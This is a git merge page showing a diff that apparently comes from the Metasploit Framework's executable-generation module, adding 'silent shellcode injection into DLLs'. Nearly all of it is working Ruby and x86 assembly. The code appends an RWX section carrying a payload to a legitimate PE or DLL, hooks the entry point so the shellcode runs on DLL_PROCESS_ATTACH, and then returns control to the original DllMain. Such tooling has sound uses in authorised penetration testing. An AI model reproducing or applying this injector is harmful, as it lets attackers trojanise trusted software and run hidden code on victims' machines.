Merge pull request #1103 from scriptjunkie/dllinjectfix

Support silent shellcode injection into DLLs
bug/bundler_fix
dmaloney-r7 2013-12-07 19:47:34 -08:00
commit 0c5d748fca
2 changed files with 28 additions and 17 deletions

View File

@ -31,14 +31,12 @@ module Exe
def create_thread_stub
<<-EOS
hook_entrypoint:
pushad
push hook_libname
call [iat_LoadLibraryA]
push hook_funcname
push eax
call [iat_GetProcAddress]
mov eax, [iat_CreateThread]
lea edx, [thread_hook]
push 0
push 0
@ -68,8 +66,9 @@ module Exe
return asm
end
def payload_stub
asm = create_thread_stub
def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
@ -85,14 +84,37 @@ module Exe
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
prefix = ''
if pe.header.characteristics.include? "DLL"
# if there is no entry point, just return after we bail or spawn shellcode
if pe.optheader.entrypoint == 0
prefix = "cmp [esp + 8], 1
jz spawncode
entrypoint:
xor eax, eax
inc eax
ret 0x0c
spawncode:"
else
# there is an entry point, we'll need to go to it after we bail or spawn shellcode
# if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
prefix = "cmp [esp + 8], 1
jnz entrypoint"
end
end
# Generate a new code section set to RWX with our payload in it
s = Metasm::PE::Section.new
s.name = '.text'
s.encoded = payload_stub
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
# Tell our section where the original entrypoint was
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
if pe.optheader.entrypoint != 0
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
end
pe.sections << s
pe.invalidate_header

View File

@ -169,21 +169,11 @@ require 'msf/core/exe/segment_injector'
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
endjunk = true
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
sections_end = 0
pe.sections.each do |sec|
text = sec if sec.name == ".text"
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
endjunk = false if sec.contains_file_offset?(fsize-1)
end
#also check to see if there is a certificate
cert_entry = pe.hdr.opt['DataDirectory'][4]
#if the cert is the only thing past the sections, we can handle.
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
endjunk = false
end
#try to inject code into executable by adding a section without affecting executable behavior
@ -1774,4 +1764,3 @@ def self.to_vba(framework,code,opts={})
end
end
end